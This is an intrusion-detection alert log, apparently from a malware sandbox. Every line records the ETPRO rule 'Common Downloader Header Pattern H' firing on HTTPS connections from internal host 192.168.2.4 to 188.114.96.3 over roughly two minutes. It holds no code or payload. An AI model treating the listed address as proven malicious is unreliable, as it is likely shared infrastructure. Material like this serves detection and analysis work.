2025-01-09T08:29:40.001805+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50026	188.114.96.3	443	TCP
2025-01-09T08:29:40.592682+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50031	188.114.96.3	443	TCP
2025-01-09T08:29:41.308707+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50037	188.114.96.3	443	TCP
2025-01-09T08:29:41.901795+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50040	188.114.96.3	443	TCP
2025-01-09T08:29:42.495332+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50046	188.114.96.3	443	TCP
2025-01-09T08:29:43.110280+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50052	188.114.96.3	443	TCP
2025-01-09T08:29:43.730477+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50053	188.114.96.3	443	TCP
2025-01-09T08:29:44.344214+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50059	188.114.96.3	443	TCP
2025-01-09T08:29:44.969030+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50065	188.114.96.3	443	TCP
2025-01-09T08:29:45.577432+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50071	188.114.96.3	443	TCP
2025-01-09T08:29:46.191962+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50074	188.114.96.3	443	TCP
2025-01-09T08:29:46.807160+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50078	188.114.96.3	443	TCP
2025-01-09T08:29:47.402802+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50084	188.114.96.3	443	TCP
2025-01-09T08:29:48.006286+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50090	188.114.96.3	443	TCP
2025-01-09T08:29:48.640157+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50096	188.114.96.3	443	TCP
2025-01-09T08:29:49.251465+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50099	188.114.96.3	443	TCP
2025-01-09T08:29:49.876603+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50103	188.114.96.3	443	TCP
2025-01-09T08:29:50.484173+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50109	188.114.96.3	443	TCP
2025-01-09T08:29:51.090059+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50115	188.114.96.3	443	TCP
2025-01-09T08:29:51.737317+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50121	188.114.96.3	443	TCP
2025-01-09T08:29:52.341632+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50125	188.114.96.3	443	TCP
2025-01-09T08:29:53.097540+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50129	188.114.96.3	443	TCP
2025-01-09T08:29:53.696785+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50135	188.114.96.3	443	TCP
2025-01-09T08:29:54.277212+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50141	188.114.96.3	443	TCP
2025-01-09T08:29:54.913689+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50147	188.114.96.3	443	TCP
2025-01-09T08:29:55.492129+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50153	188.114.96.3	443	TCP
2025-01-09T08:29:56.074458+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50154	188.114.96.3	443	TCP
2025-01-09T08:29:56.661976+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50159	188.114.96.3	443	TCP
2025-01-09T08:29:57.245536+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50160	188.114.96.3	443	TCP
2025-01-09T08:29:57.843305+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50161	188.114.96.3	443	TCP
2025-01-09T08:29:58.477953+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50162	188.114.96.3	443	TCP
2025-01-09T08:29:59.057904+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50163	188.114.96.3	443	TCP
2025-01-09T08:29:59.664173+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50164	188.114.96.3	443	TCP
2025-01-09T08:30:00.290116+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50165	188.114.96.3	443	TCP
2025-01-09T08:30:00.893020+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50166	188.114.96.3	443	TCP
2025-01-09T08:30:01.481834+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50167	188.114.96.3	443	TCP
2025-01-09T08:30:02.094225+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50168	188.114.96.3	443	TCP
2025-01-09T08:30:02.719037+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50169	188.114.96.3	443	TCP
2025-01-09T08:30:03.345289+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50170	188.114.96.3	443	TCP
2025-01-09T08:30:03.952687+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50171	188.114.96.3	443	TCP
2025-01-09T08:30:04.544841+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50172	188.114.96.3	443	TCP
2025-01-09T08:30:05.174399+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50173	188.114.96.3	443	TCP
2025-01-09T08:30:05.839720+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50174	188.114.96.3	443	TCP
2025-01-09T08:30:06.432859+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50175	188.114.96.3	443	TCP
2025-01-09T08:30:07.080231+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50176	188.114.96.3	443	TCP
2025-01-09T08:30:07.735479+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50177	188.114.96.3	443	TCP
2025-01-09T08:30:08.747528+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50179	188.114.96.3	443	TCP
2025-01-09T08:30:09.370301+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50180	188.114.96.3	443	TCP
2025-01-09T08:30:09.999397+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50181	188.114.96.3	443	TCP
2025-01-09T08:30:10.606975+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50182	188.114.96.3	443	TCP
2025-01-09T08:30:11.229330+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50183	188.114.96.3	443	TCP
2025-01-09T08:30:11.823738+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50184	188.114.96.3	443	TCP
2025-01-09T08:30:12.563404+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50185	188.114.96.3	443	TCP
2025-01-09T08:30:13.186174+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50186	188.114.96.3	443	TCP
2025-01-09T08:30:13.786630+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50187	188.114.96.3	443	TCP
2025-01-09T08:30:14.410143+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50188	188.114.96.3	443	TCP
2025-01-09T08:30:15.030910+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50189	188.114.96.3	443	TCP
2025-01-09T08:30:15.657495+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50190	188.114.96.3	443	TCP
2025-01-09T08:30:16.281006+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50191	188.114.96.3	443	TCP
2025-01-09T08:30:17.012200+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50193	188.114.96.3	443	TCP
2025-01-09T08:30:17.641582+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50194	188.114.96.3	443	TCP
2025-01-09T08:30:18.230751+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50195	188.114.96.3	443	TCP
2025-01-09T08:30:18.823987+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50196	188.114.96.3	443	TCP
2025-01-09T08:30:19.404677+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50197	188.114.96.3	443	TCP
2025-01-09T08:30:19.996490+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	443	TCP
2025-01-09T08:30:20.617603+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50199	188.114.96.3	443	TCP
2025-01-09T08:30:21.220294+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50200	188.114.96.3	443	TCP
2025-01-09T08:30:21.841689+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50201	188.114.96.3	443	TCP
2025-01-09T08:30:22.951394+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50203	188.114.96.3	443	TCP
2025-01-09T08:30:23.546310+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50204	188.114.96.3	443	TCP
2025-01-09T08:30:24.136301+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50205	188.114.96.3	443	TCP
2025-01-09T08:30:24.730306+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	443	TCP
2025-01-09T08:30:25.347639+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50207	188.114.96.3	443	TCP
2025-01-09T08:30:25.934944+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50208	188.114.96.3	443	TCP
2025-01-09T08:30:26.604261+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50209	188.114.96.3	443	TCP
2025-01-09T08:30:27.221355+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50210	188.114.96.3	443	TCP
2025-01-09T08:30:27.845348+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50211	188.114.96.3	443	TCP
2025-01-09T08:30:28.433815+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50212	188.114.96.3	443	TCP
2025-01-09T08:30:29.049414+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50213	188.114.96.3	443	TCP
2025-01-09T08:30:29.639856+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50214	188.114.96.3	443	TCP
2025-01-09T08:30:30.231685+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50215	188.114.96.3	443	TCP
2025-01-09T08:30:30.839271+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50216	188.114.96.3	443	TCP
2025-01-09T08:30:31.440735+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50217	188.114.96.3	443	TCP
2025-01-09T08:30:32.061847+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50218	188.114.96.3	443	TCP
2025-01-09T08:30:32.672987+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50219	188.114.96.3	443	TCP
2025-01-09T08:30:33.283140+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50220	188.114.96.3	443	TCP
2025-01-09T08:30:33.905140+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50221	188.114.96.3	443	TCP
2025-01-09T08:30:34.481312+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50222	188.114.96.3	443	TCP
2025-01-09T08:30:35.077872+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50223	188.114.96.3	443	TCP
2025-01-09T08:30:35.679588+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50224	188.114.96.3	443	TCP
2025-01-09T08:30:36.282386+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50225	188.114.96.3	443	TCP
2025-01-09T08:30:36.857695+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50226	188.114.96.3	443	TCP
2025-01-09T08:30:37.487636+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50227	188.114.96.3	443	TCP
2025-01-09T08:30:38.375035+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50229	188.114.96.3	443	TCP
2025-01-09T08:30:39.002834+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50230	188.114.96.3	443	TCP
2025-01-09T08:30:39.591893+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50231	188.114.96.3	443	TCP
2025-01-09T08:30:40.169006+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50232	188.114.96.3	443	TCP
2025-01-09T08:30:40.782918+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50233	188.114.96.3	443	TCP
2025-01-09T08:30:41.684853+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50234	188.114.96.3	443	TCP
2025-01-09T08:30:42.263684+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50235	188.114.96.3	443	TCP
2025-01-09T08:30:42.886682+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50236	188.114.96.3	443	TCP
2025-01-09T08:30:43.523775+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50237	188.114.96.3	443	TCP
2025-01-09T08:30:44.125650+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50238	188.114.96.3	443	TCP
2025-01-09T08:30:44.716688+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50239	188.114.96.3	443	TCP
2025-01-09T08:30:45.321923+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50240	188.114.96.3	443	TCP
2025-01-09T08:30:45.939017+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50241	188.114.96.3	443	TCP
2025-01-09T08:30:46.531011+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50242	188.114.96.3	443	TCP
2025-01-09T08:30:47.123830+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50243	188.114.96.3	443	TCP
2025-01-09T08:30:47.699540+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50244	188.114.96.3	443	TCP
2025-01-09T08:30:48.352992+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50245	188.114.96.3	443	TCP
2025-01-09T08:30:49.184288+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50246	188.114.96.3	443	TCP
2025-01-09T08:30:49.709796+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50247	188.114.96.3	443	TCP
2025-01-09T08:30:50.499184+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50249	188.114.96.3	443	TCP
2025-01-09T08:30:51.130948+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50250	188.114.96.3	443	TCP
2025-01-09T08:30:51.724071+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50251	188.114.96.3	443	TCP
2025-01-09T08:30:52.345004+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50252	188.114.96.3	443	TCP
2025-01-09T08:30:52.935810+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50253	188.114.96.3	443	TCP
2025-01-09T08:30:54.294656+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50254	188.114.96.3	443	TCP
2025-01-09T08:30:54.944038+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50255	188.114.96.3	443	TCP
2025-01-09T08:30:55.576565+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50256	188.114.96.3	443	TCP
2025-01-09T08:30:56.345411+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50257	188.114.96.3	443	TCP
2025-01-09T08:30:56.983557+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50258	188.114.96.3	443	TCP
2025-01-09T08:30:57.577787+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50259	188.114.96.3	443	TCP
2025-01-09T08:30:58.301027+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50260	188.114.96.3	443	TCP
2025-01-09T08:30:58.984863+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50261	188.114.96.3	443	TCP
2025-01-09T08:30:59.594474+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50262	188.114.96.3	443	TCP
2025-01-09T08:31:00.229375+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50263	188.114.96.3	443	TCP
2025-01-09T08:31:00.826089+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50264	188.114.96.3	443	TCP
2025-01-09T08:31:01.423968+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50265	188.114.96.3	443	TCP
2025-01-09T08:31:02.014349+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50266	188.114.96.3	443	TCP
2025-01-09T08:31:02.652330+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50267	188.114.96.3	443	TCP
2025-01-09T08:31:03.232038+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50268	188.114.96.3	443	TCP
2025-01-09T08:31:03.829176+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50269	188.114.96.3	443	TCP
2025-01-09T08:31:04.449803+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50270	188.114.96.3	443	TCP
2025-01-09T08:31:05.044660+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50271	188.114.96.3	443	TCP
2025-01-09T08:31:05.677489+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50272	188.114.96.3	443	TCP
2025-01-09T08:31:06.451103+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50273	188.114.96.3	443	TCP
2025-01-09T08:31:07.081964+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50274	188.114.96.3	443	TCP
2025-01-09T08:31:07.777086+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50275	188.114.96.3	443	TCP
2025-01-09T08:31:08.426211+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50276	188.114.96.3	443	TCP
2025-01-09T08:31:09.141047+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50277	188.114.96.3	443	TCP
2025-01-09T08:31:09.735872+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50278	188.114.96.3	443	TCP
2025-01-09T08:31:10.347453+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50279	188.114.96.3	443	TCP
2025-01-09T08:31:10.990142+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50280	188.114.96.3	443	TCP
2025-01-09T08:31:11.645471+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50281	188.114.96.3	443	TCP
2025-01-09T08:31:12.253242+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50282	188.114.96.3	443	TCP
2025-01-09T08:31:12.879028+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50283	188.114.96.3	443	TCP
2025-01-09T08:31:13.487917+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50284	188.114.96.3	443	TCP
2025-01-09T08:31:14.098339+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50285	188.114.96.3	443	TCP
2025-01-09T08:31:14.703409+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50286	188.114.96.3	443	TCP
2025-01-09T08:31:15.333394+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50287	188.114.96.3	443	TCP
2025-01-09T08:31:15.921337+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50288	188.114.96.3	443	TCP
2025-01-09T08:31:16.510456+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50289	188.114.96.3	443	TCP
2025-01-09T08:31:17.094211+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50290	188.114.96.3	443	TCP
2025-01-09T08:31:17.749942+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50291	188.114.96.3	443	TCP
2025-01-09T08:31:18.361083+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50292	188.114.96.3	443	TCP
2025-01-09T08:31:18.973014+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50293	188.114.96.3	443	TCP
2025-01-09T08:31:19.564082+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50294	188.114.96.3	443	TCP
2025-01-09T08:31:20.175443+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50295	188.114.96.3	443	TCP
2025-01-09T08:31:20.798151+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50296	188.114.96.3	443	TCP
2025-01-09T08:31:21.405196+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50297	188.114.96.3	443	TCP
2025-01-09T08:31:21.983282+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50298	188.114.96.3	443	TCP
2025-01-09T08:31:22.626220+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50299	188.114.96.3	443	TCP
2025-01-09T08:31:23.414415+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50300	188.114.96.3	443	TCP
2025-01-09T08:31:24.022184+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50301	188.114.96.3	443	TCP
2025-01-09T08:31:24.644842+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50302	188.114.96.3	443	TCP
2025-01-09T08:31:25.315248+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50303	188.114.96.3	443	TCP
2025-01-09T08:31:25.954086+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50304	188.114.96.3	443	TCP
2025-01-09T08:31:26.581465+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50305	188.114.96.3	443	TCP
2025-01-09T08:31:27.173262+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50306	188.114.96.3	443	TCP
2025-01-09T08:31:27.774015+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50307	188.114.96.3	443	TCP
2025-01-09T08:31:28.412238+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50308	188.114.96.3	443	TCP
2025-01-09T08:31:29.020320+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50309	188.114.96.3	443	TCP
2025-01-09T08:31:29.644598+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50311	188.114.96.3	443	TCP
2025-01-09T08:31:30.452034+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50312	188.114.96.3	443	TCP
2025-01-09T08:31:31.072793+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50313	188.114.96.3	443	TCP
2025-01-09T08:31:31.672686+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50314	188.114.96.3	443	TCP
2025-01-09T08:31:32.287829+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50315	188.114.96.3	443	TCP
2025-01-09T08:31:32.944442+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50316	188.114.96.3	443	TCP
2025-01-09T08:31:33.530977+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50317	188.114.96.3	443	TCP
2025-01-09T08:31:34.147391+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50318	188.114.96.3	443	TCP
2025-01-09T08:31:34.786992+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50319	188.114.96.3	443	TCP
2025-01-09T08:31:35.646779+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50321	188.114.96.3	443	TCP
2025-01-09T08:31:36.237844+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50322	188.114.96.3	443	TCP
2025-01-09T08:31:36.880253+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50323	188.114.96.3	443	TCP
2025-01-09T08:31:37.461378+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50324	188.114.96.3	443	TCP
2025-01-09T08:31:38.053693+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50325	188.114.96.3	443	TCP
2025-01-09T08:31:38.648733+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50326	188.114.96.3	443	TCP
2025-01-09T08:31:39.248920+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50327	188.114.96.3	443	TCP
2025-01-09T08:31:39.967000+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50328	188.114.96.3	443	TCP
2025-01-09T08:31:40.550157+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50329	188.114.96.3	443	TCP
2025-01-09T08:31:41.165719+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50330	188.114.96.3	443	TCP
2025-01-09T08:31:41.787577+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50331	188.114.96.3	443	TCP
2025-01-09T08:31:42.383677+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50332	188.114.96.3	443	TCP
2025-01-09T08:31:43.000658+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50333	188.114.96.3	443	TCP
2025-01-09T08:31:43.600897+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50334	188.114.96.3	443	TCP
2025-01-09T08:31:44.227196+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50335	188.114.96.3	443	TCP
2025-01-09T08:31:44.842265+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50336	188.114.96.3	443	TCP
2025-01-09T08:31:45.472028+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50337	188.114.96.3	443	TCP
2025-01-09T08:31:46.086631+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50338	188.114.96.3	443	TCP
2025-01-09T08:31:46.675690+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50339	188.114.96.3	443	TCP
2025-01-09T08:31:47.292043+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50340	188.114.96.3	443	TCP
